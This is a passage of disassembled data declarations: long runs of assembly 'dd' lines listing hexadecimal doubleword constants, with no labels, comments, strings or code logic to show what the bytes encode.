		dd 8C0B9538h, 60C661C5h, 630FFDF7h, 0A02D6B4Bh,	7024DF97h
		dd 91983D9Ah, 881112h
		dd 2FAB33F3h, 5471D5D6h, 9AAF2A00h, 0CA9346FAh,	39B600E5h
		dd 1BED71A8h, 6B03E948h, 10F2F347h, 0A9F5D8A1h,	3F9A07AEh
		dd 104B355Fh, 305384C9h, 69BE3A00h, 4049B5ECh, 0D02A03E4h
		dd 7B13C0B2h, 0C39D2798h, 77952300h, 0E1CA05A9h, 0FA1509CFh
		dd 888655A5h, 4700F054h, 4977F6B4h, 0EEF831Bh, 23CAA769h
		dd 0FC618182h, 601D2C40h, 6E0ED790h, 0A021281Ch, 0C14D8AB4h
		dd 7AEEA040h, 3CE2E7h, 882EC3DCh, 1C1AB331h, 6B19A700h
		dd 0EB913FD7h, 0CE7B01A0h, 49593782h, 0FF5ACC14h, 58EF8800h
		dd 87F9E620h, 397C2CBCh, 0E5520044h, 0C2CD2C05h, 98030D00h
		dd 93E0582Dh, 7EE4031Dh, 1B5D0B8Eh, 0F9FC15A0h,	3B003C76h
		dd 0BB2D97E8h, 0E1C5E4h, 3D564DCEh, 0FA098C0Fh,	0EB042E1Dh
		dd 0BE661031h, 983139C0h, 1D1A00DAh, 5BC6350Dh,	481ED12Eh
		dd 0AF00428Dh, 75A6821h, 0D0CC00CAh, 2E2530DFh,	6E003B3Ah
		dd 0B2E96A5Eh, 212B6BDh, 0CB72FE29h, 99637CF9h,	4B715EE8h
		dd 3400A1F0h, 5D29DC51h, 6587BDh, 0CA200761h, 47DAAE45h
		dd 62185098h, 58C0B6A2h, 0FED3003Ch, 0FFC610BCh, 0A40A9A0Bh
		dd 8472FB62h, 0A9957A83h, 2097F8E9h, 0F661607Ch, 12CF8B6Fh
		dd 46816B1Bh, 3FB0D71Eh, 589325h, 0ACE40D5Dh, 8EA3DD56h
		dd 33BC500h, 0BE82F37Fh, 0B70BAh, 31ABE2D7h, 51C8FEB5h
		dd 397E1100h, 0D994AF9h, 2DEE0370h, 0A3223EE2h,	37EB8800h
		dd 0BAA487EDh, 81A70026h, 0AC0A050Bh, 82C633D9h, 95AA3584h
		dd 0C90723D0h, 3F5E43D2h, 201266h, 74D90C27h, 0DBE5E1FFh
		dd 0B005B77h, 45CEBFAFh, 7D612270h, 16521788h, 0EA1300F3h
		dd 0F57E8938h, 0CD00EC9Ah, 23353D5Eh, 771E559Ch, 282074B3h
		dd 90E8C8h, 85D8F1E0h, 221262B1h, 0B4007CEEh, 76AC6F7Bh
		dd 757EF8E4h, 0E906002Dh, 548882D7h, 3B007C69h,	0C3D0DB22h
		dd 6C5AE7Eh, 0ACBFB761h, 6F057920h, 0C3B2FE3Bh,	52494400h
		dd 43A3DB1Ah, 21C63025h, 0BD80877h, 5DA50CDDh, 0C89F4583h
		dd 243D2D90h, 7EF40200h, 0B072B6A3h, 7F0492C1h,	0F8CF004Bh
		dd 94F0A79Ah, 0FC743C56h, 0D54A20h, 86CAFD3Ah, 0C0B167F4h
		dd 89D62E00h, 9196718Ch, 0A4C630F6h, 0B3634428h, 0FEFC0600h
		dd 29357D83h, 0B75204ACh, 802CF97Bh, 0D182D8Ch,	56CC2A01h
		dd 2B5EF440h, 0F511C8h,	493C04DAh, 0C43AE8CAh, 0C3C79317h
		dd 0AF7F8505h, 7EBA5BC0h, 51CE0040h, 0B2F8B6ECh, 0CC009AEBh
		dd 765206A3h, 457448h, 373265F0h, 5FFBFDD4h, 0E1A09200h
		dd 0C357582Eh, 0AD44008Fh, 6313DD65h, 0C2987FBEh, 60081C00h
		dd 0FD9C0D80h, 40D800F5h, 0CEE05E2Ch, 0C81243A0h, 3600E27Dh
		dd 0CF9B14A7h, 0D25400E5h, 262F5CD8h, 0BE2E05E8h, 803EA6A9h
		dd 5AB76366h, 0FC02535Eh, 175400B6h, 2F10C759h,	0D302502Bh
		dd 4F46E9D9h, 0A049BC2h, 0D493A5BCh, 5BE9F60Ch,	1FB40130h
		dd 711DA441h, 6FE4F8CDh, 0D0E41F07h, 38660A1Ah,	0BDB080Ch
		dd 10C7AF42h, 0D4444607h, 4089F087h, 2B42FFA5h,	84AAD810h
		dd 532039ABh, 49C278B0h, 229266A3h, 0CF11AB57h,	0E45FCEBh
		dd 673C05C6h, 6D18046Ah, 8D7323BAh, 0A8DC0C04h,	847DF21h
		dd 3CF55003h, 3A18A98Bh, 198862D9h, 361F6077h, 9CC361CAh
		dd 449EDE00h, 15753BABh, 0B8B71FF0h, 0D258A500h, 57CF3A71h
		dd 0EC1466B0h, 0B842D0h, 0FBE33B08h, 31AD23h, 8717828Bh
		dd 1A4690BDh, 0D88E440Eh, 0C8A8DF66h, 2002EE2h,	0C3326799h
		dd 0E6CA7DFBh, 0CF683C44h, 240D4D05h, 30198022h, 1B1E3ABBh
		dd 7A80C5h, 0D49670DDh,	238352h, 75160C48h, 673BE94Bh
		dd 82E7C14h, 8497814Ch,	0C080C581h, 55A92668h, 0A50AB2E5h
		dd 0B421D772h, 0CECD9200h, 184927B1h, 0E03D44BAh, 5100D9B9h
		dd 15DEB60Bh, 787D7868h, 0FBA526C0h, 8B4C0031h,	6C089060h
		dd 101C4856h, 52F3AFE1h, 671261E0h, 0E2B3AF00h,	394AFE02h
		dd 9F250A6Ah, 0F9C0CA78h, 0FE351031h, 430813D6h, 89A50948h
		dd 86E18C10h, 6AD91F05h, 0B98068B7h, 0E34B65h, 52AE88DFh
		dd 8E4A615Bh, 0B33D5914h, 0D402805Ch, 299D54h, 23CE37D1h
		dd 3260DC68h, 6B24A00h,	2F5F5E7Bh, 0EEFA0054h, 27E92184h
		dd 1D7B464Dh, 41E2CF09h, 0CCC020C8h, 48724AFBh,	1054304Ch
		dd 3FB2EE43h, 2D306578h, 60C42829h, 0CA566D00h,	997A08DFh
		dd 283876A9h, 1D588407h, 0C0E0517Eh, 0B0C4E777h, 601F6C53h
		dd 2440E8F7h, 4751D59Ah, 9F540F94h, 6560A7D9h, 0A6AEC8Fh
		dd 0CF39A600h, 0DD92FDB2h, 2BB402DBh, 5746DAAAh, 345AE160h
		dd 1657900h, 0C6F1CFC9h, 56DD07B7h, 93087Fh, 0BEF5EE86h
		dd 84D61300h, 0DDF2C30Ah, 78461CEAh, 45680F6h, 0D4C6F49Ch
		dd 40FE4531h, 12EC8470h, 3C7F1826h, 0EF6731B9h,	1596F300h
		dd 62B5421Dh, 7738007Dh, 0AB7998C3h, 2A0BE078h,	3E98C9Bh
		dd 90112E7Bh, 1B93D9Ah,	0DE3F0C39h, 0E8E1EEFFh,	0EB0D83Bh
		dd 0D9B778C7h, 859D97F0h, 6B4900E7h, 1C358E1Eh,	3760AF96h
		dd 7EAA6A80h, 5EE2013Fh, 8BE92C2Eh, 0C6989EA2h,	6253914Fh
		dd 0A0A4E1CFh, 46D74780h, 241601C4h, 0F6B2573Bh, 0E1AC4AB8h
		dd 96E81CD6h, 7F310041h, 854398A1h, 0B40E042Ah,	0F8248BFh
		dd 11F2799h, 923E2510h,	2B4702B5h, 0EAA8B4BEh, 42414495h
		dd 8047B18Eh, 880580D9h, 0E8384047h, 0F3A24AFh,	142AC034h
		dd 6008E78h, 944187B8h,	0A7FA1Dh, 394417F9h, 2632AF70h
		dd 0B6C62400h, 1D8E3F97h, 0FDFCE19Ch, 78030077h, 0CCE6C276h
		dd 0BB009772h, 0B6B1EEB4h, 922ABC45h, 71FA10h, 3162DE93h
		dd 1CA74F8Dh, 295A2D3Eh, 8040843Ah, 0FA0482D6h,	0A031517Fh
		dd 0C48EFD8h, 1961E8D9h, 8C039F5Ch, 5A63023Eh, 15659877h
		dd 4A1B0031h, 8F1FD6E9h, 4412EF4Bh, 447F7E1h, 0B9F0E7EBh
		dd 1FA9B0h, 88D43482h, 2A81780Dh, 0BE544BECh, 3E1D23D0h
		dd 2FA7AF2h, 855DD2D5h,	70644576h, 0D7002A6Bh, 40337959h
		dd 6013BDB3h, 0AABC606Eh, 6B7CC8DDh, 0E4478716h, 2E41DAFh
		dd 0D59CDAA3h, 3C700C45h, 853001F2h, 0BF3DD51Bh, 1E0422F5h
		dd 6D8F922Eh, 56546123h, 0FC4A765Ch, 0D4FD78E0h, 25C8C46Fh
		dd 0F42002C8h, 0A13AC1Ch, 81BAFA24h, 18D47080h,	97A3E314h
		dd 60D3B844h, 0CD1C791Eh, 0E20A2BD6h, 0C434535Ch, 9030B4C5h
		dd 0E23C9EEEh, 989F005Bh, 0D4BBB158h, 0E7255ADCh, 0E58A802Eh
		dd 928256ABh, 7822F024h, 8955057h, 0B4EF0C0Dh, 75312CCFh
		dd 861610C8h, 78F26004h, 0B1D59800h, 4CFF9D7Eh,	2E3348AAh
		dd 0DC5B450Fh, 1A8C2DE1h, 2140201Dh, 974C377h, 49D06361h
		dd 4081B2B4h, 7FA6324Dh, 0DC470Bh, 9A3EAB70h, 9C452A28h
		dd 1D0CA748h, 0DC935892h, 0E0FA000Fh, 0AB26B453h, 918028D5h
		dd 0CD3F07C0h, 79EE2EA6h, 21250020h, 6E60BC1Dh,	8824D6B9h
		dd 0CFA7569h, 3DF5D42Dh, 0AE058CA0h, 0B4562FD5h, 2CC8E455h
		dd 0B78F142Ch, 906072F2h, 0EF30E46h, 54C42C23h,	4885619Ah
		dd 4C043CEAh, 0DB2D110Fh, 18F4C0A0h, 0FE33934h,	3A53FE27h
		dd 80F19724h, 191CC1E4h, 40090B0h, 2C3316C9h, 50E3Fh, 0B7B19D80h
		dd 94674975h, 0EC4ADA00h, 874140CFh, 0E037005Ch, 0D0273008h
		dd 0AD0C4BE4h, 0D852C9F4h, 2D20E7B6h, 0A44D50E1h, 0F810066h
		dd 0F180EF40h, 905EB762h, 0D18746A1h, 400EC258h, 0BB06F820h
		dd 885FF500h, 0BFA896F1h, 0B57030EFh, 45BC9D9h,	12B4023Ch
		dd 2801C8C2h
		dd 851A4DD4h, 7DA4A050h, 0F1870028h, 793A5F25h,	0BF0E826Eh
		dd 640E40DDh, 0CA40F65Bh, 24E10BABh, 0D1A57A03h, 0A3A94277h
		dd 0E2616EE0h, 6C4F7C00h, 8CA06635h, 2AC085CDh,	0D420AD65h
		dd 225201C8h, 54B4A382h, 2039D162h, 13F08184h, 0C1748F00h
		dd 64403DB5h, 6379C0FBh, 0F4371257h, 0B9456D07h, 803F5022h
		dd 9865897h, 0D7743DACh, 6FC70800h, 0C8DA2D28h,	0F4C3F0Eh
		dd 1605549h, 0D86507CFh, 5A0CA41Ah, 2B1CECB2h, 0C0400BB6h
		dd 0D89F1CAEh, 1EF99835h, 69B514h, 0A0BC8368h, 8654BBF9h
		dd 5EF0DEB0h, 229BD40Ch, 0E02E996Bh, 3339007Eh,	99922773h
		dd 0B70036B6h, 843ED966h, 0F7F0843h, 0C9C52151h, 80272425h
		dd 8A341E17h, 0CC000C96h, 6E44083Fh, 460F39C3h,	0EB15CD87h
		dd 628C40D6h, 0F600C62Bh, 9779727Ah, 0F97F6CB2h, 0C0DFBDD0h
		dd 0F14E1C20h, 0DA2CE2C3h, 3F098522h, 9415005Ah, 7164609h
		dd 1BD3D9F4h, 0B22770AFh, 347C12BAh, 93CB473h, 0E5650030h
		dd 3E267B9Bh, 0D38A023Ch, 6ECF80B8h, 0F1534490h, 83D80908h
		dd 0DE526290h, 0F2FB2100h, 12D60079h, 0BFC3398Fh, 6800D4EDh
		dd 8DE8C537h, 6DCC6EEh,	0EC7DFB0Ah, 0C2005879h,	0D5D8EB01h
		dd 305BFA0Eh, 0C908DED2h, 8C00CF5Fh, 381A3724h,	739105h
		dd 514A8FA5h, 406EA6DEh, 806CC003h, 0F0BEECF7h,	0F8E25229h
		dd 8E1700C5h, 2894CD0Dh, 0A800275Dh, 9ED0D54Eh,	84EDF7h
		dd 0F8B08F4Ch, 2188B93Eh, 0AD74E900h, 594BA569h, 0BF831C3Dh
		dd 51E3C2B1h, 0D7DE42h,	57B8454h, 1466003Eh, 0AF7E5718h
		dd 5A008864h, 6EB76FD0h, 1E6CA1BCh, 802498C1h, 0F463E27Dh
		dd 6F03935Ch, 289F6E9Eh, 3C080FAAh, 24077C4Ch, 0C98DA04Eh
		dd 602D075h, 5DF7751h, 0C0814227h, 779BFF4Dh, 0B96200DBh
		dd 16B724C4h, 2D0073E4h, 911E8FC3h, 18C6E74h, 0BAD7BD93h
		dd 0BD9D3BFFh, 429E8028h, 92F8E626h, 0EF930C02h, 2480D0ACh
		dd 49FE6400h, 4A514174h, 3F93DE7h, 0BC3B0075h, 2472F7C2h
		dd 731DB29Dh, 20683C87h, 3FC8A945h, 7B78003Bh, 25579852h
		dd 0C403EB47h, 1064905Fh, 0AF28009Dh, 0A5DEA9C2h, 867E077Dh
		dd 8B5CC400h, 8FC73820h, 23300B27h, 5D0D129Dh, 3F1EE4E1h
		dd 0C3AB4F03h, 0C825DEE5h, 1D96B4h, 89B85FA6h, 1905A023h
		dd 82E63809h, 0F84301D2h, 0EFFB37DAh, 1CCF5A20h, 0BAD4A014h
		dd 889254D9h, 4DA7079Fh, 0A7A5C5FEh, 0B6BE40C8h, 0AE6E0EECh
		dd 5EC640D9h, 3BCB46EDh, 0FB070724h, 107D264Dh,	2138D6B2h
		dd 1E276000h, 4CF3837Eh, 157C3A3Ch, 0F9338B00h,	0B57A29C4h
		dd 77AF5100h, 0B0A24445h, 1B6E02D6h, 0C82BB860h, 11AB2C91h
		dd 0D2E8FC1Fh, 8B9200F3h, 0E33C7B7Eh, 0BF008AC1h, 0E75A55Dh
		dd 7BCAFE4h, 4BB7B643h,	68DC36DFh, 80A05D21h, 5A765E85h
		dd 26424F13h, 0C5016422h, 0D9306019h, 72C027F2h, 0B0F005Eh
		dd 62824008h, 32003ADAh, 16B0CED3h, 35776BFCh, 10FAEBh
		dd 22140450h, 0C5181EA7h, 6C0805C7h, 0DB20CEFBh, 0E0656A0h
		dd 8B7B6FAFh, 2B1C5400h, 0AEDE0AD1h, 37A300B0h,	982D7C20h
		dd 7900A513h, 763BEFBDh, 0CC70E8h, 1EC54697h, 0B232CECFh
		dd 0F347341Bh, 26D0C0D8h, 1A100A8h, 8D7EC976h, 81E8D5C2h
		dd 4ECA21C0h, 0F333EA7h, 3FC057AEh, 55E21AC0h, 72002996h
		dd 867AB0AFh, 71DFB56h,	99D70BF1h, 0EDA0FE30h, 582C813h
		dd 54BA7300h, 28DDFFB9h, 0EAEFFA41h, 5CAC0022h,	128E0CE1h
		dd 82F6FC33h, 0F8F9C737h, 7A89C13h, 7E1A4510h, 0E764E371h
		dd 0F2D80BE8h, 0AC6F60A0h, 7D6A5411h, 0D783C688h, 0B8FDAC77h
		dd 64590Dh, 7F3145E3h, 0AA3BE15Eh, 4BB68A00h, 0F7B0E8F2h
		dd 0E32CA8D1h, 1CC8C537h, 9A2C48C8h, 0A82E2380h, 0A20E373h
		dd 924A8E2Dh, 798F3FB0h, 364F65C0h, 0EC306660h,	0DA005943h
		dd 3354296Fh, 0F0D49E4h, 0CAE50463h, 0F8D4FD40h, 3B00A0F5h
		dd 9BC1EF17h, 21CF638h,	9902C281h, 0F79F77h, 13DF3F7Ah
		dd 0F45400A7h, 0E522A58Fh, 0F200508Bh, 2C907B3h, 98E7F0Eh
		dd 444BAF5Eh, 60376018h, 83462412h, 8507C039h, 0A2B77A0h
		dd 111F2EA1h, 4F7F00D9h, 0C65BC18Bh, 78F9AE60h,	0EEC822B6h
		dd 0EE8830A9h, 71CD2ED0h, 89414B00h, 0DAAAB54h,	0FBB30026h
		dd 90FFB715h, 0AC908A21h, 0B22CA100h, 9EC243C9h, 31FC0063h
		dd 875A329Dh, 7212B882h, 945C61FDh, 5CA43641h, 0E9F86664h
		dd 0B27C1D04h, 758D09FEh, 3C603C03h, 8E801993h,	0F517C535h
		dd 0BE03EDFFh, 1867496h, 234D0660h, 43570E3Eh, 0D599BB80h
		dd 3717DCB7h, 0B836AA12h, 0F0AF0001h, 9021F107h, 1E5FE884h
		dd 35D888FCh, 983B4B43h, 920AA93h, 0D810C4CFh, 6D80D6AFh
		dd 0F40412FCh, 41B30056h, 4AA1C40Ch, 24109B49h,	0B700333Fh
		dd 363E945Ah, 0EADDE20Eh, 39D0009Bh, 3D018931h,	500C3E8h
		dd 0F182C7F4h, 9A7365F8h, 6FDF1408h, 4C00C82Ah,	0C3081CBEh
		dd 0D40001CBh, 9257B264h, 81C69Bh, 3C7CAB34h, 3BD1770Ah
		dd 0F7DD680Ah, 8F20E496h, 0E0ED0E04h, 78D1A93Eh, 0C10C4531h
		dd 46D26102h, 10072633h, 31807C68h, 3BF4ECh, 0D9E3C2Fh
		dd 4C426E7Ah, 9A3D8C0h,	4D82D36Ch, 0D600105Ah, 0A03D664Dh
		dd 0C9028B13h, 4796757Ch, 0E5304005h, 1E46ECA1h, 64E1458h
		dd 682ADB98h, 2E7EC309h, 5E700259h, 76B080A2h, 1C8B43h
		dd 3F14BB78h, 66AFE623h, 9CB99200h, 842B4F4Eh, 825600CBh
		dd 0B88D76A4h, 4200E59Eh, 0D523741Bh, 6869BFh, 780B8792h
		dd 7C5CE499h, 0C610CEh,	0BF5482FAh, 93A02E5h, 5F4259CFh
		dd 0DA78C6E0h, 0E206152h, 50F4135h, 1845BE9Dh, 1436D8E2h
		dd 52B7F658h, 203149Ch,	388F5001h, 84657B3h, 0CF606250h
		dd 8FA238D2h, 58900107h, 4C4AC374h, 535A70ECh, 0C2396484h
		dd 38900E80h, 3993AB87h, 0FF0038A5h, 0A6423E5Dh, 0F5CB0086h
		dd 1E5A721Bh, 8000796h,	4CC15169h, 52206139h, 92001437h
		dd 6F513C3Fh, 4C005581h, 5042D34Fh, 0A41078CFh,	731F0820h
		dd 38401A7Ch, 0A321BFEh, 6F5053CFh, 68995038h, 520218A6h
		dd 0EF5130DDh, 5C30B884h, 0CD988E85h, 81183C52h, 87D46EE4h
		dd 121AC441h, 4451A1D1h, 0E9F03F5Dh, 1F520375h,	103992C9h
		dd 0DEFD180h, 1C56C400h, 0DB37EA6Bh, 3C77E817h,	0B707F79Eh
		dd 40E61314h, 5F6E5415h, 5C1724A0h, 0F6DD9C08h,	18366269h
		dd 1485D701h, 61A517D0h, 586958CDh, 4D34E1E5h, 81908824h
		dd 3596E2A7h, 0FD37703h, 0CBB0B748h, 50C0F706h,	1F0248E8h
		dd 5A3877E6h, 115096E5h, 86F5217Ch, 15D8E576h, 44AD9E57h
		dd 1D10F985h, 0C4067A18h, 0C83136D6h, 5788FD62h, 0EE41FD66h
		dd 0D790868Ch, 6210F42Dh, 9D1708C5h, 0CA869CA3h, 8FE2037h
		dd 0E615A480h, 4CA4A537h, 0CA20B679h, 8029636Fh, 7018A3F7h
		dd 7708DA37h, 1B68DF68h, 0E1E37866h, 59D76014h,	0FFD9B1B0h
		dd 20166C4Ch, 99316BA1h, 0C8F6A0C9h, 0B3DC509Eh, 0B84C8118h
		dd 58AD2BA7h, 7FA7A410h, 1484258Ah, 744794F7h, 0A0518863h
		dd 495660CCh, 0F7E70189h, 0D44FE108h, 4904B59h,	103DD61Ch
		dd 3AABC334h, 50A1B029h, 127D03BEh, 171CE14h, 5BD4B910h
		dd 42335DBCh, 2042EEACh, 0CC061896h, 339B4D53h,	0EE160A28h
		dd 0E030E7D8h, 5C5B07A2h, 0F83C3B30h, 73E8D9AAh, 0E7DB2B17h
		dd 0C719D2Ch, 563178C4h, 21F74240h, 0CAC5BFB9h,	46B2883h
		dd 8EFA3631h, 39588BE7h
		dd 78740CB7h, 3E9628A1h, 0BC52FA10h, 8284F8C0h,	0D8CF5AF4h
		dd 3CBDCA76h, 6085E153h, 28875BF5h, 73B394D6h, 305273D7h
		dd 0AA82C0DCh, 5065DE08h, 66E6AC3Dh, 38BAA88Ah,	0A4F31701h
		dd 0A7AA77E8h, 3B60B8D2h, 5CF5108Eh, 7160330h, 0E697E7BCh
		dd 0D6173108h, 0A9D1B740h, 4604448h, 0C2832006h, 0B487F641h
		dd 9308949Ch, 86710F01h, 60B5D356h, 188834B0h, 0E3737AF1h
		dd 4D2DDB00h, 87953F31h, 0B59803CCh, 11B9F077h,	5A990800h
		dd 5019EF3Eh, 1C7654E0h, 0EE2C1D32h, 0CC8843E9h, 0F0F86438h
		dd 1521CD9h, 152F8118h,	0D810833Eh, 0EF140AE5h,	0DE149479h
		dd 4CAE8602h, 60780563h, 0BC361710h, 1880DCF6h,	480B668Fh
		dd 0B9237843h, 0AF8C836Fh, 3110281Dh, 593C39B8h, 0B141929h
		dd 1F05343Ch, 58840598h, 6B502CF6h, 4EF4C301h, 0F8CC89A0h
		dd 0AEEE8BF0h, 0F49A0C28h, 9879051Eh, 0E6193640h, 4258C708h
		dd 0B1D98307h, 0F4201074h, 72F82969h, 0D658413Ch, 8897D90Bh
		dd 0C6238A0h, 0B9583F99h, 0D8708430h, 1DF024D3h, 0A105839h
		dd 674CD9F9h, 0EE9D73ACh, 4AD8E90Eh, 5099E48Ah,	9FAEC970h
		dd 0B9615C14h, 397918C4h, 0A573C068h, 7190150h,	506B6D33h
		dd 0ED38D3CCh, 5A15B3F6h, 80187A57h, 0DFCF9FFh,	0ADB88069h
		dd 19F2B207h, 0CF2F66ECh, 99063E18h, 3C087502h,	390F8F3Ch
		dd 0D9819219h, 0DC0771D3h, 5CE924C2h, 41189A74h, 58C182C5h
		dd 0F2433B04h, 6A458001h, 0D00AAD8Eh, 1178A4AEh, 0D9040E1Fh
		dd 0E4406E06h, 3A0DB020h, 8E12E66h, 0E03646CEh,	0D66F84Eh
		dd 0F0386230h, 444740C0h, 0B4104262h, 13E30214h, 60312306h
		dd 1AE60BAh, 57F07E8Bh,	8E7FB907h, 834FBB11h, 0A067A409h
		dd 0EE7DD2h, 697EB826h,	474A230Ch, 1C4FAA03h, 90E42F44h
		dd 6077CE6Ah, 0CD7608E3h, 0B5616E64h, 66E00FC9h, 7886C8D1h
		dd 882E52CEh, 0EE708161h, 304884A4h, 0A6D900DDh, 4415A9E9h
		dd 30617F4Fh, 64FB2E30h, 689A72CDh, 8C062C0Eh, 0CCE82088h
		dd 0EC6EA4A0h, 0A268DE66h, 61D6E8E0h, 97D7D8C0h, 94B5D167h
		dd 0C73C1A09h, 0FCD334F3h, 57D8584Bh, 22502932h, 2AEEC083h
		dd 754E080Ch, 50CD5818h, 2B17A0D8h, 81287E26h, 68B7BA07h
		dd 0FC89DA6h, 0E448DFDBh, 0B9852E06h, 0D5113C60h, 3AEE68BEh
		dd 0AE1BA8E7h, 82E108F5h, 0D68EF056h, 0CE18577Ch, 0A38D7A4h
		dd 0CC88CADDh, 0D59E8CBCh, 0D6659118h, 0F81F3550h, 18E8430Ch
		dd 0EF4E8150h, 21202933h, 0E08002Ch, 0AE643198h, 0E0A0D684h
		dd 0B8A0E1BDh, 18C7F8C0h, 8EC32F8Ah, 4404D4F4h,	345804E8h
		dd 8E76106h, 9C28236Fh,	0EE06CE1Fh, 61F8DBECh, 0B40E08CCh
		dd 374EF02Dh, 623C3240h, 2A9B98DCh, 9367B884h, 8187920h
		dd 0E300ACEh, 8839C69Ch, 320C02Bh, 38FB6114h, 9A09982Eh
		dd 8C180440h, 50CE1814h, 494EBCDDh, 6C190885h, 864020E0h
		dd 45AA6EF8h, 44E232A0h, 9448FD28h, 28CC460Fh, 328E0841h
		dd 301817F1h, 560EBC83h, 1520087Ch, 3D7A31E4h, 890C6318h
		dd 3DA7F38h, 0A043427Ch, 782ADDCCh, 38CB3A11h, 8CFAE18h
		dd 480789CEh, 398B2FF5h, 47368EC1h, 6B292EF0h, 0C101200Ch
		dd 0FFACCFF5h, 40848FA0h, 189928C6h, 80A6F38h, 0EF289A8Ch
		dd 0F9009676h, 3D53E8CFh, 6ED036h, 977881F4h, 73FAB5D9h
		dd 36FEE3Fh, 4BCE0F59h,	768EA0A9h, 4FF53E2Bh, 617D34BAh
		dd 818F08B2h, 8A808C65h, 40717066h, 18C34131h, 1830CC4Fh
		dd 10E0A530h, 20C62A0Dh, 633842DEh, 2AF0863h, 8E6F2000h
		dd 0D02E0F31h, 610EE838h, 0E9AE0885h, 0E14EF030h, 0C20DE6Eh
		dd 40EF18E2h, 28C323DDh, 20E424CEh, 0EE311718h,	2C900930h
		dd 0DCF6708Ch, 28DDD058h, 0CBA82D1Bh, 6F980C04h, 5A08D9CFh
		dd 781910DFh, 31881661h, 6D0CDB0Dh, 0E572F0DAh,	4395088Ch
		dd 44500518h, 8C591B4h,	944DFC6Fh, 0CDD01013h, 0D118C640h
		dd 85672835h, 2D564F08h, 8E263A0h, 18780E2Fh, 480F7F40h
		dd 0C86A1018h, 137A8F14h, 0C1E4E02h, 0F40A5C05h, 9650EC4Fh
		dd 9A701019h, 8F4F15FBh, 0C8B030C4h, 91A4D46Fh,	6165C008h
		dd 0DC00A526h, 85D11D34h, 3513DCFh, 913324C3h, 71A0112Bh
		dd 260089CBh, 7A550431h, 0F93B394Bh, 0FBE0D6F5h, 40C06135h
		dd 94F527B1h, 0C014D730h, 0F8AA2032h, 5A9180DEh, 0D13DD007h
		dd 11F3F99Dh, 220907A3h, 7B13C7Ah, 3F14173h, 64C1F3F4h
		dd 0EBC3D3FCh, 40A50DC4h, 0C6F3EDF0h, 18F697A8h, 30CFFC7Eh
		dd 0F588B982h, 0B21908BCh, 808B2027h, 6833108h,	7C28113Dh
		dd 4DD130FAh, 0F29E9180h, 953171F8h, 71620CAh, 0CBF6688Fh
		dd 0F1349183h, 0CC6C1810h, 46101D37h, 94F8209Fh, 78A00550h
		dd 801809CCh, 0ECFF3331h, 7874A990h, 0DC11F86Eh, 0FEC78031h
		dd 48290899h, 801BF7F1h, 31084731h, 0B4C02528h,	76A88AFFh
		dd 0B0B7D0ECh, 0E1E9FE83h, 8BE9F51h, 3022B019h,	8A19906Ah
		dd 1E171108h, 8023060Dh, 311019F3h, 0BE4531F2h,	30CD37D0h
		dd 0F008C6C6h, 1830DEACh, 0C0D18832h, 0AE582466h, 0C7713740h
		dd 21DE4310h, 8028030h,	0C0F55B11h, 3FEFD028h, 0D4A33831h
		dd 100F83E3h, 9EF03B91h, 201AA60Ch, 6FEE7CDEh, 0F11D1971h
		dd 1D55110h, 508802F1h,	183C0DB1h, 0B8301C73h, 358DFEAh
		dd 0C831299Fh, 9C6A931h, 6E03EB15h, 1751200Ch, 4810F011h
		dd 8A1D6CC5h, 4C183EB7h, 90B408C1h, 86E7D1F8h, 41543160h
		dd 803AF2B0h, 0D0A0B2E6h, 0FCA0B426h, 8580B58Ch, 0B19A83BCh
		dd 27D67041h, 5DBD0284h, 0AC3E8FFh, 0CABF5894h,	1823C901h
		dd 88511D35h, 61B1C820h, 5F3108BCh, 80B023EAh, 853F1324h
		dd 713180C1h, 60A29890h, 0E0F1C402h, 95D1E481h,	80E423B8h
		dd 867D5669h, 801180DCh, 13F170C4h, 47CA5105h, 4188E48Ch
		dd 42397811h, 2498D384h, 2F187314h, 0F1C0473Ah,	80F86FC5h
		dd 0A8319018h, 0A4C02263h, 2071E5FBh, 94DFE423h, 9FD114D1h
		dd 0A6054834h, 85300C14h, 0B169DAF9h, 7404234Ch, 0E826EB32h
		dd 0B3F84904h, 66402034h, 819D48F8h, 0D823EE32h, 198849A0h
		dd 9124A411h, 0D4246C10h, 387D997Ch, 2014ED11h,	20744204h
		dd 127878F8h, 47CDB118h, 0CC10DF10h, 91880C70h,	0D1A0F050h
		dd 3118E462h, 71A4619Ch, 0B8D2C3C1h, 0F88FE4h, 72BDBC68h
		dd 56A19ECCh, 0C55F93Eh, 8533916h, 0F4968050h, 560F867Ch
		dd 89835AC3h, 0D6F404h,	10C6BFC7h, 50C0A529h, 0E5E293AAh
		dd 0A19F0508h, 8333F736h, 12FF9417h, 1898C3D6h,	63107103h
		dd 1610579Bh, 0CA5614F2h, 0D578C114h, 5980F354h, 815B07F6h
		dd 9FF7EA16h, 955FE0A8h, 9D1CB20Fh, 0C0201414h,	0F5B7ACDEh
		dd 0D6E8C0CEh, 4BDF0C05h, 702435Ch, 0ACC9FDEBh,	0E5ADD4C1h
		dd 99F8D9DDh, 0A8CA1C8Eh, 56BBCFCBh, 0F877EB81h, 4CFEF9DCh
		dd 0A085518h, 7B67526h,	0C292A9AAh, 1498F28Bh, 523978F6h
		dd 0CBA98330h, 0E1900F8Ah, 0DFC9FF0Bh, 0C35DC5E4h, 0DC2F6068h
		dd 87879E3h, 2BFD9B3Ch,	870154ABh, 0B5EAA65Ah, 91416A00h
		dd 5978D4F9h, 5C61ABE8h, 8AADEB10h, 8EF01888h, 868400Ch
		dd 87E183FFh, 53B30154h, 0C6DC4BF0h, 0A06E9A19h, 10C46DFAh
		dd 48006339h, 164BE98Bh, 0A5EC5D74h, 58A45B50h,	89AB08C3h
		dd 46201888h, 8252185Ch, 0F87B4180h, 287D630Bh,	878622Bh
		dd 0AD87B203h, 0A045D2C3h, 0F042B463h, 80D67823h, 83F844A0h
		dd 20A39D40h, 902031E4h
		dd 3C321F45h, 3B180EA9h, 40B1C386h, 4D470310h, 43084631h
		dd 0E2118C56h, 0CC485050h, 0C9698D71h, 0B0A320C3h, 94E3E04Ch
		dd 2F38CD4Fh, 11FEF308h, 38C4047Ah, 0AA064E05h,	0EC633041h
		dd 7492A378h, 20356360h, 711957C3h, 0A22846D4h,	7048699Ch
		dd 6A509A48h, 1636CB1Dh, 15C64B07h, 14D9EB81h, 7C382BF0h
		dd 26B3819h, 121F66BCh,	63C22818h, 14A8380Ch, 166BABE0h
		dd 8F1FF1E9h, 83FE5229h, 1F01C6CBh, 0C150A10h, 4B2871EBh
		dd 8809070h, 406BF8FFh,	6D398B7Bh, 0B3AB389Eh, 74E13013h
		dd 10BD6360h, 207C64CBh, 5CA5B83Ah, 513FD7h, 662DA4C0h
